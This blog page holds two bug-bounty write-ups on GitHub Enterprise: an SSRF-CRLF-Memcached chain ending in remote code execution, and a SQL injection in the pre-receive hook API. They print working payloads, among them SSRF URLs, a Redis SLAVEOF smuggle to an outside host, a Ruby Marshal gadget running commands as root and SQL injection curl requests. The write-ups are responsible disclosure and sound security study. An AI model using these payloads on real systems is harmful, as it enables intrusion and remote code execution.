2017年7月28日 星期五

How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE!



Hi, it’s been a long time since my last blog post.

In the past few months, I spent lots of time preparing for the talk of Black Hat USA 2017 and DEF CON 25. Being a Black Hat and DEFCON speaker is part of my life goal ever. This is also my first English talk in such formal conferences. It's really a memorable experience :P

Thanks Review Boards for the acceptance.


This post is a simple case study in my talk. The techniques here are old, but I’ll show you just how powerful those old tricks can be! If you are interested in, you can check slides here:
The slides covered even more powerful new approaches on SSRF and other techniques not included in this article.

In this article, I will show you a beautiful exploit chain that chained 4 vulnerabilities into a Remote Code Execution(RCE) on GitHub Enterprise.
It also be rewarded for the Best Report in GitHub 3rd Bug Bounty Anniversary Promotion!


Foreword



In my last blog post, I mentioned that the new target - GitHub Enterprise, also demonstrated how to de-obfuscate Ruby code and find SQL Injection on it. After that, I see several bounty hunters start to pay attentions on GitHub Enterprise and find lots of amazing bugs, like:


Seeing those writeups, I got a little frustrated and blame myself why I didn’t notice that :(

Therefore, I have made up my mind to find a critical vulnerability that no one have found.
Of course, in my own way!


Vulnerabilities



Before I examine the architecture of GitHub Enterprise. My intuition tells me, there are so many internal services inside GitHub Enterprise. If I can play with them, I believe I have confidences to find something interesting.

So, I am focusing on finding Server Side Request Forgery(SSRF) vulnerability more.



First Bug - Harmless SSRF


While playing GitHub Enterprise, I notice that there is an interesting feature called WebHook. It can define a custom HTTP callback when specific GIT command occurs.


You can create a HTTP callback from the URL:

https://<host>/<user>/<repo>/settings/hooks/new

And trigger it by committing files. Thus, GitHub Enterprise will notify you with a HTTP request. The  payload and the request look like bellow:

Payload URL:

http://orange.tw/foo.php


Callback Request:

POST /foo.php HTTP/1.1
Host: orange.tw
Accept: */*
User-Agent: GitHub-Hookshot/54651ac
X-GitHub-Event: ping
X-GitHub-Delivery: f4c41980-e17e-11e6-8a10-c8158631728f
content-type: application/x-www-form-urlencoded
Content-Length: 8972

payload=...



GitHub Enterprise uses Ruby Gem faraday to fetch external resources and prevents users from requesting internal services by Gem faraday-restrict-ip-addresses.

The Gem seems to be just a blacklist and can be easily bypassed by the Rare IP Address Formats defined in RFC 3986. In Linux, the 0 represented localhost

PoC:

http://0/



OK, we got a SSRF now. However, we still can’t do anything. Why?

There are several limitations in this SSRF, such as:

  • Only POST method
  • Only allowed HTTP and HTTPS scheme
  • No 302 redirection
  • No CR-LF Injection in faraday
  • Couldn't control the POST data and HTTP headers

The only thing we can control is Path part.



But, It's still worth to mentioned that this SSRF can lead to Denied of Service(DoS).

There is an Elasticsearch service bound on port 9200. In the shutdown command, Elasticsearch doesn’t care about whatever the POST data is. Therefore, you can play its REST-ful API for fun :P

Denied of Service PoC:

http://0:9200/_shutdown/



Second Bug - SSRF in Internal Graphite 


We have a SSRF now, with lots of limitations. What can I do?
My next idea is - Is there any Intranet services we can leverage?

It’s a big work. There are several HTTP services inside, and each service based on different language implementations like C / C++, Go, Python and Ruby…

With a couple of days digging. I find there is a service called Graphite on port 8000. Graphite is a highly scalable real-time graphing system and GitHub uses this system to show some statistics to users.

Graphite is written in Python and also a open-source project, you can download the source code here!

From reading the source, I quickly find another SSRF here. The second SSRF is simple.

In file webapps/graphite/composer/views.py

def send_email(request):
    try:
        recipients = request.GET['to'].split(',')
        url = request.GET['url']
        proto, server, path, query, frag = urlsplit(url)
        if query: path += '?' + query
        conn = HTTPConnection(server)
        conn.request('GET',path)
        resp = conn.getresponse()
        ...

You can see Graphite receive the user input url and just fetch it! So, we can use the first SSRF to trigger the second SSRF and combine them into a SSRF execution chain.

The SSRF execution chain payload:

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://orange.tw:12345/foo

The request of second SSRF

$ nc -vvlp 12345
...

GET /foo HTTP/1.1
Host: orange.tw:12345
Accept-Encoding: identity

OK, we successfully change the POST-based SSRF into a GET-based SSRF. But still can't do anything.

Let’s go to next stage!

Third Bug - CR-LF Injection in Python


As you can see, Graphite uses Python httplib.HTTPConnection to fetch the resources. With some trials and errors, I notice that there is a CR-LF Injection in httplib.HTTPConnection. Therefore, we have the ability to embed malicious payloads in HTTP protocol.

CR-LF Injection PoC

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:12345/%0D%0Ai_am_payload%0D%0AFoo:


$ nc -vvlp 12345
...

GET /
i_am_payload
Foo: HTTP/1.1
Host: 127.0.0.1:12345
Accept-Encoding: identity

This is one small step, but it become a giant leap for whole the exploit chain. Now, I can smuggle other protocols in this SSRF Execution Chain. For example, If we want to play with Redis, we can try following payload:

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:6379/%0ASLAVEOF%20orange.tw%206379%0A

P.s. The SLAVEOF is a very nice command that you can make out-bound traffics. This is a useful trick when you are facing some Blind-SSRF!

That’s look great! However, there are also some limitations in protocol smuggling

  1. Protocols with handshakes like SSH, MySQL and SSL will fail
  2. The payload we used in second SSRF only allowed bytes from 0x00 to 0x8F due to the Python2

By the way, there is more than one way to smuggle protocols in the HTTP scheme. In my slides, I also show that how to use the features in Linux Glibc to smuggle protocols over SSL SNI, and a case study in bypassing Python CVE-2016-5699!

Check it, if you are interested :)


Fourth Bug - Unsafe Deserialization


For now, we have the ability to smuggle other protocols in a HTTP protocol, but the next problem is, what protocol do I choose to smuggle?

I spend lots of time to find out what vulnerabilities can be triggered if I can control the Redis or Memcached.

While reviewing the source. I am curious about why GitHub can store Ruby Objects in Memcached. After some digging, I find GitHub Enterprise uses Ruby Gem memcached to handle caches, and the cache was wrapped by Marshal.

It’s a good news to me. Everyone know that Marshal is dangerous.

(If you don’t know, I recommend you read the slides Marshalling Pickles by @frohoff and @gebl from AppSec California 2015)

So, our our goal is clear.

We use our SSRF execution chain to store malicious Ruby Objects in Memcached. The next time GitHub fetches the cache, Ruby Gem memcached will de-serialize the data automatically. And the result is… BOOM! Remote Code Execution! XD

Unsafe Marshal in Rails Console

irb(main):001:0> GitHub.cache.class.superclass
=> Memcached::Rails

irb(main):002:0> GitHub.cache.set("nogg", "hihihi")
=> true

irb(main):003:0> GitHub.cache.get("nogg")
=> "hihihi"

irb(main):004:0> GitHub.cache.get("nogg", :raw=>true)
=> "\x04\bI\"\vhihihi\x06:\x06ET"

irb(main):005:0> code = "`id`"
=> "`id`"

irb(main):006:0> payload = "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0c@lineno"+ "i\x00" + ":\x0C@method"+":\x0Bresult"
=> "\u0004\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\a:\u000E@instanceo:\bERB\a:\t@srcI\"\t`id`\u0006:\u0006ET:\f@linenoi\u0000:\f@method:\vresult"

irb(main):007:0> GitHub.cache.set("nogg", payload, 60, :raw=>true)
=> true

irb(main):008:0> GitHub.cache.get("nogg")
=> "uid=0(root) gid=0(root) groups=0(root)\n"

OK, let’s summarize our steps!

  1. First SSRF - Bypass the existing protection in Webhook
  2. Second SSRF - SSRF in Graphite service
  3. Chained first SSRF and second SSRF into a SSRF execution chain
  4. CR-LF Injection in the SSRF execution chain
  5. Smuggled as Memcached protocol and insert a malicious Marshal Object
  6. Triggered RCE

Exploit in a Nutshell




The final exploit you can find on Gist and video on Youtube






The Fix



GitHub had made a number of improvements to prevent related issues again!

  1. Enhanced the Gem faraday-restrict-ip-addresses
  2. Applied a custom Django middleware to ensure attackers can’t reach path outside http://127.0.0.1:8000/render/
  3. Enhanced iptables rules that block access with pattern User-Agent: GitHub-Hookshot

$ cat /etc/ufw/before.rules
...
-A ufw-before-input -m multiport -p tcp ! --dports 22,23,80,81,122,123,443,444,8080,8081,8443,8444 -m recent --tcp-flags PSH,ACK PSH,ACK --remove -m string --algo bm --string "User-Agent: GitHub-Hookshot" -j REJECT --reject-with tcp-reset
...


Timeline



  • 2017/01/23 23:22 Report the vulnerability to GitHub via HackerOne, report number 200542 assigned
  • 2017/01/23 23:37 GitHub changed the status to Triaged.
  • 2017/01/24 04:43 GitHub responses that the issue validated and working on a fix.
  • 2017/01/31 14:01 GitHub Enterprise 2.8.7 released.
  • 2017/02/01 01:02 GitHub response that this issue have been fixed!
  • 2017/02/01 01:02 GitHub rewarded $7,500 USD bounty!
  • 2017/03/15 02:38 GitHub rewarded $5,000 USD for the best report bonus.

2017年1月7日 星期六

GitHub Enterprise SQL Injection


Before


GitHub Enterprise is the on-premises version of GitHub.com that you can deploy a whole GitHub service in your private network for businesses. You can get 45-days free trial and download the VM from enterprise.github.com.

After you deployed, you will see like bellow:

alt

alt

alt

Now, I have all the GitHub environment in a VM. It's interesting, so I decided to look deeper into VM :P



Environment


The beginning of everything is Port Scanning. After using our good friend - Nmap, we found that there are 6 exposed ports on VM.

$ nmap -sT -vv -p 1-65535 192.168.187.145
...
PORT     STATE  SERVICE
22/tcp   open   ssh
25/tcp   closed smtp
80/tcp   open   http
122/tcp  open   smakynet
443/tcp  open   https
8080/tcp closed http-proxy
8443/tcp open   https-alt
9418/tcp open   git

With a little knocking and service grabbing, it seems like:

  • 22/tcp and 9418/tcp seem like haproxy and it forwards connections to a backend service called babeld
  • 80/tcp and 443/tcp are the main GitHub services
  • 122/tcp is just a SSH service
  • 8443/tcp is management console of GitHub

By the way, GitHub management console need a password to login. Once you got the password, you can add your SSH key and connect into VM through 122/tcp

With SSH into VM, we examined the whole system and found that the service code base looks like under directory of /data/

# ls -al /data/
total 92
drwxr-xr-x 23 root              root              4096 Nov 29 12:54 .
drwxr-xr-x 27 root              root              4096 Dec 28 19:18 ..
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 alambic
drwxr-xr-x  4 babeld            babeld            4096 Nov 29 12:53 babeld
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 codeload
drwxr-xr-x  2 root              root              4096 Nov 29 12:54 db
drwxr-xr-x  2 root              root              4096 Nov 29 12:52 enterprise
drwxr-xr-x  4 enterprise-manage enterprise-manage 4096 Nov 29 12:53 enterprise-manage
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 failbotd
drwxr-xr-x  3 root              root              4096 Nov 29 12:54 git-hooks
drwxr-xr-x  4 git               git               4096 Nov 29 12:53 github
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 git-import
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 gitmon
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 gpgverify
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 hookshot
drwxr-xr-x  4 root              root              4096 Nov 29 12:54 lariat
drwxr-xr-x  4 root              root              4096 Nov 29 12:54 longpoll
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 mail-replies
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 pages
drwxr-xr-x  4 root              root              4096 Nov 29 12:54 pages-lua
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 render
lrwxrwxrwx  1 root              root                23 Nov 29 12:52 repositories -> /data/user/repositories
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 slumlord
drwxr-xr-x 20 root              root              4096 Dec 28 19:22 user

Change directory to /data/ and try to review the source code, but it seems encrypted :(

alt

GitHub uses a custom library to obfuscate their source code. If you search ruby_concealer.so on Google, you will find a kind man write a snippet on this gist.

It simply replace rb_f_eval to rb_f_putsin ruby_concealer.so and it’s work.

But to be a hacker. We can’t just use it without knowing how it works.
So, let’s open IDA Pro!

alt

alt

As you can see. It just uses Zlib::Inflate::inflate to decompress data and XOR with following key:

This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. 

So we can easily implement it by our-self!

require 'zlib'

def decrypt(s)
    key = "This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. "
    i, plaintext = 0, ''

    Zlib::Inflate.inflate(s).each_byte do |c|
        plaintext << (c ^ key[i%key.length].ord).chr
        i += 1
    end
    plaintext
end

content = File.open(ARGV[0], "r").read
content.sub! %Q(require "ruby_concealer.so"\n__ruby_concealer__), " decrypt "
plaintext = eval content

puts plaintext






Code Analysis


After de-obfuscated all the code. Finally, we can start our code reviewing process.

$ cloc /data/
   81267 text files.
   47503 unique files.
   24550 files ignored.

http://cloc.sourceforge.net v 1.60  T=348.06 s (103.5 files/s, 15548.9 lines/s)
-----------------------------------------------------------------------------------
Language                         files          blank        comment           code
-----------------------------------------------------------------------------------
Ruby                             25854         359545         437125        1838503
Javascript                        4351         109994         105296         881416
YAML                               600           1349           3214         289039
Python                            1108          44862          64025         180400
XML                                121           6492           3223         125556
C                                  444          30903          23966         123938
Bourne Shell                       852          14490          16417          87477
HTML                               636          24760           2001          82526
C++                                184           8370           8890          79139
C/C++ Header                       428          11679          22773          72226
Java                               198           6665          14303          45187
CSS                                458           4641           3092          44813
Bourne Again Shell                 142           6196           9006          35106
m4                                  21           3259            369          29433
...



$ ./bin/rake about
About your application's environment
Ruby version              2.1.7 (x86_64-linux)
RubyGems version          2.2.5
Rack version              1.6.4
Rails version             3.2.22.4
JavaScript Runtime        Node.js (V8)
Active Record version     3.2.22.4
Action Pack version       3.2.22.4
Action Mailer version     3.2.22.4
Active Support version    3.2.22.4
Middleware                GitHub::DefaultRoleMiddleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport
Application root          /data/github/9fcdcc8
Environment               production
Database adapter          githubmysql2
Database schema version   20161003225024

Most of the code are written in Ruby (Ruby on Rails and Sinatra).

  • /data/github/ looks like the application run under port 80/tcp 443/tcp and it looks like the real code base of github.com, gist.github.com and api.github.com
  • /data/render/ looks like real code base of render.githubusercontent.com
  • /data/enterprise-manage/ seems like the application run under port 8443/tcp

GitHub Enterprise uses enterprise? and dotcom? to check whether the application is running under Enterprise Mode or GitHub dot com mode.



Vulnerability


I use about one week to find this vulnerability, I am not familiar with Ruby. But just learning from doing :P

This is my rough schedule of the week.

  • Day 1 - Setting VM
  • Day 2 - Setting VM
  • Day 3 - Learning Rails by code reviewing
  • Day 4 - Learning Rails by code reviewing
  • Day 5 - Learning Rails by code reviewing
  • Day 6 - Yeah, I found a SQL Injection!

That SQL Injection vulnerability is found under GitHub Enterprise PreReceiveHookTarget model.

The root cause is in /data/github/current/app/model/pre_receive_hook_target.rb line 45

33   scope :sorted_by, -> (order, direction = nil) {
34     direction = "DESC" == "#{direction}".upcase ? "DESC" : "ASC"
35     select(<<-SQL)
36       #{table_name}.*,
37       CASE hookable_type
38         WHEN 'global'     THEN 0
39         WHEN 'User'       THEN 1
40         WHEN 'Repository' THEN 2
41       END AS priority
42     SQL
43       .joins("JOIN pre_receive_hooks hook ON hook_id = hook.id")
44       .readonly(false)
45       .order([order, direction].join(" "))
46   }

Although There is built-in ORM(called ActiveRecord in Rails) in Rails and prevent you from SQL Injection. But there are so many misuse of ActiveRecord may cause SQL Injection.

More examples you can check Rails-sqli.org. It’s good to learn about SQL Injection on Rails.

In this case, if we can control the parameter of method order we can inject our malicious payload into SQL.

OK, let’s trace up! sorted_by is called by /data/github/current/app/api/org_pre_receive_hooks.rb in line 61.



10   get "/organizations/:organization_id/pre-receive-hooks" do
11     control_access :list_org_pre_receive_hooks, :org => org = find_org!
12     @documentation_url << "#list-pre-receive-hooks"
13     targets = PreReceiveHookTarget.visible_for_hookable(org)
14     targets = sort(targets).paginate(pagination)
15     GitHub::PrefillAssociations.for_pre_receive_hook_targets targets
16     deliver :pre_receive_org_target_hash, targets
17   end
...
60   def sort(scope)
61     scope.sorted_by("hook.#{params[:sort] || "id"}", params[:direction] || "asc")
62   end

You can see that params[:sort] is passed to scope.sorted_by . So, we can inject our malicious payload into params[:sort].

Before you trigger this vulnerability, you need a valid access_token with admin:pre_receive_hook scope to access API. Fortunately, it can be obtained by following command:



$ curl -k -u 'nogg:nogg' 'https://192.168.187.145/api/v3/authorizations' \
-d '{"scopes":"admin:pre_receive_hook","note":"x"}'
{
  "id": 4,
  "url": "https://192.168.187.145/api/v3/authorizations/4",
  "app": {
    "name": "x",
    "url": "https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/",
    "client_id": "00000000000000000000"
  },
  "token": "????????",
  "hashed_token": "1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4",
  "token_last_eight": "1fadac36",
  "note": "x",
  "note_url": null,
  "created_at": "2017-01-05T22:17:32Z",
  "updated_at": "2017-01-05T22:17:32Z",
  "scopes": [
    "admin:pre_receive_hook"
  ],
  "fingerprint": null
}

Once you get a access_token, you can trigger the vulnerability by:



$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+information_schema.tables+limit+1,1)'
[

]

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+mysql.user+limit+1,1)'
{
  "message": "Server Error",
  "documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks"
}

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if(user()="github@localhost",sleep(5),user())
{
    ...
}

alt



Timeline


  • 2016/12/26 05:48 Report vulnerability to GitHub via HackerOne
  • 2016/12/26 08:39 GitHub response that have validated issue and are working on a fix.
  • 2016/12/26 15:48 Provide more vulneraiblity detail.
  • 2016/12/28 02:44 GitHub response that the fix will included with next release of GitHub Enterprise.
  • 2017/01/04 06:41 GitHub response that offer $5,000 USD reward.
  • 2017/01/05 02:37 Asked Is there anything I should concern about if I want to post a blog?
  • 2017/01/05 03:06 GitHub is very open mind and response that it’s OK!
  • 2017/01/05 07:06 GitHub Enterprise 2.8.5 released!